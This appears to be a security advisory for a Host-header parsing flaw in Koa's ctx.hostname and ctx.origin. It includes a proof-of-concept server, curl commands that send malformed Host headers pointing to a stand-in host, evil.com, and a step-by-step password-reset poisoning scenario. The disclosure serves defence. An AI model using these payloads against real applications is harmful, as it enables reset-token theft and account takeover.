Summary

Koa's ctx.hostname API performs naive parsing of the HTTP Host header, extracting everything before the first colon without validating the input conforms to RFC 3986 hostname syntax. When a malformed Host header containing a @ symbol (e.g., evil.com:fake@legitimate.com) is received, ctx.hostname returns evil.com - an attacker-controlled value. Applications using ctx.hostname for URL generation, password reset links, email verification URLs, or routing decisions are vulnerable to Host header injection attacks.

Details

The vulnerability exists in Koa's hostname getter in lib/request.js:

// Koa 2.16.1 - lib/request.js
get hostname() {
  const host = this.host;
  if (!host) return '';
  if ('[' === host[0]) return this.URL.hostname || ''; // IPv6 literal
  return host.split(':', 1)[0];
}

The host getter retrieves the raw header value with HTTP/2 and proxy support:

// Koa 2.16.1 - lib/request.js
get host() {
  const proxy = this.app.proxy;
  let host = proxy && this.get('X-Forwarded-Host');
  if (!host) {
    if (this.req.httpVersionMajor >= 2) host = this.get(':authority');
    if (!host) host = this.get('Host');
  }
  if (!host) return '';
  return host.split(',')[0].trim();
}

The Problem

The parsing logic simply splits on the first : and returns the first segment. There is no validation that the resulting string is a valid hostname per RFC 3986 Section 3.2.2.

RFC 3986 Section 3.2.2 defines the host component as:

host = IP-literal / IPv4address / reg-name
reg-name = *( unreserved / pct-encoded / sub-delims )
unreserved = ALPHA / DIGIT / "-" / "." / "_" / "~"
sub-delims = "!" / "$" / "&" / "'" / "(" / ")" / "*" / "+" / "," / ";" / "="

The @ character is explicitly NOT permitted in the host component - it is the delimiter separating userinfo from host in the authority component.

Attack Vector

When an attacker sends:

Host: evil.com:fake@legitimate.com:3000

Koa parses this as:

The ctx.hostname API returns evil.com because the parser splits on the first : without understanding that evil.com:fake@legitimate.com is a malformed authority component where evil.com:fake would be interpreted as userinfo by a proper URI parser.

Additional Concern: ctx.origin

Koa's ctx.origin property concatenates protocol and host without validation:

// lib/request.js
get origin() {
  return `${this.protocol}://${this.host}`;
}

Applications using ctx.origin for URL generation receive the full malformed Host header value, creating URLs with embedded credentials that browsers may interpret as userinfo.

HTTP/2 Consideration

Koa explicitly checks httpVersionMajor >= 2 to read the :authority pseudo-header:

if (this.req.httpVersionMajor >= 2) host = this.get(':authority');

The same vulnerability applies - malformed :authority values containing userinfo would be accepted and parsed identically.

PoC

Setup

// server.js
const Koa = require('koa'); 
const app = new Koa();

// Simulates password reset URL generation (common vulnerable pattern)
app.use(async ctx => {
  if (ctx.path === '/forgot-password') {
    const resetToken = 'abc123securtoken';
    const resetUrl = `${ctx.protocol}://${ctx.hostname}/reset?token=${resetToken}`;
    
    ctx.body = {
      message: 'Password reset link generated',
      resetUrl: resetUrl,
      debug: {
        rawHost: ctx.get('Host'),
        parsedHostname: ctx.hostname,
        origin: ctx.origin,
        protocol: ctx.protocol
      }
    };
  }
});

app.listen(3000, () => console.log('Server on http://localhost:3000'));

Exploit

curl -H "Host: evil.com:fake@localhost:3000" http://localhost:3000/forgot-password

Result

{
  "message": "Password reset link generated",
  "resetUrl": "http://evil.com/reset?token=abc123securtoken",
  "debug": {
    "rawHost": "evil.com:fake@localhost:3000",
    "parsedHostname": "evil.com",
    "origin": "http://evil.com:fake@localhost:3000",
    "protocol": "http"
  }
}

The password reset URL points to evil.com instead of the legitimate server. In a real attack:

1. Attacker requests password reset for victim's email with malicious Host header
2. Server generates reset link using ctx.hostname → https://evil.com/reset?token=SECRET
3. Victim receives email with poisoned link
4. Victim clicks link, token is sent to attacker's server
5. Attacker uses token to reset victim's password

Additional Test Cases

# Basic injection
curl -H "Host: evil.com:x@legitimate.com" http://localhost:3000/forgot-password
# Result: hostname = "evil.com"

# With port preservation attempt
curl -H "Host: evil.com:443@legitimate.com:3000" http://localhost:3000/forgot-password  
# Result: hostname = "evil.com"

# Unicode/encoded variations
curl -H "Host: evil.com:x%40legitimate.com" http://localhost:3000/forgot-password
# Result: hostname = "evil.com"

Deployment Consideration

For this attack to succeed in production, the malicious Host header must reach the Koa application. This occurs when:

1. No reverse proxy - Application directly exposed to internet
2. Misconfigured proxy - Proxy doesn't override/validate Host header
3. Proxy trust enabled (app.proxy = true) - X-Forwarded-Host can be injected
4. Default virtual host - Server is the catch-all for unrecognized Host headers

Impact

Vulnerability Type

• CWE-20: Improper Input Validation
• CWE-644: Improper Neutralization of HTTP Headers for Scripting Syntax

Attack Scenarios

1. Password Reset Poisoning (High Severity)

• Attacker hijacks password reset tokens by poisoning reset URLs
• Requires victim to click link in email
• Results in account takeover

2. Email Verification Bypass

• Attacker poisons email verification links
• Can verify attacker-controlled email on victim accounts

3. OAuth/SSO Callback Manipulation

• Applications using ctx.hostname for OAuth redirect URIs
• Attacker redirects OAuth callbacks to malicious server
• Results in token theft

4. Web Cache Poisoning

• If responses are cached without Host in cache key
• Poisoned URLs served to all users
• Persistent XSS/phishing via cached responses

5. Server-Side Request Forgery (SSRF)

• Internal routing decisions based on ctx.hostname
• Attacker manipulates which backend receives requests

Who Is Impacted

• Direct impact: Any Koa application using ctx.hostname or ctx.origin for URL generation without additional validation
• Common patterns: Password reset, email verification, webhook URL generation, multi-tenant routing, OAuth implementations

References

• GHSA-7gcc-r8m5-44qm
• https://nvd.nist.gov/vuln/detail/CVE-2026-27959
• koajs/koa@55ab9ba
• koajs/koa@b76ddc0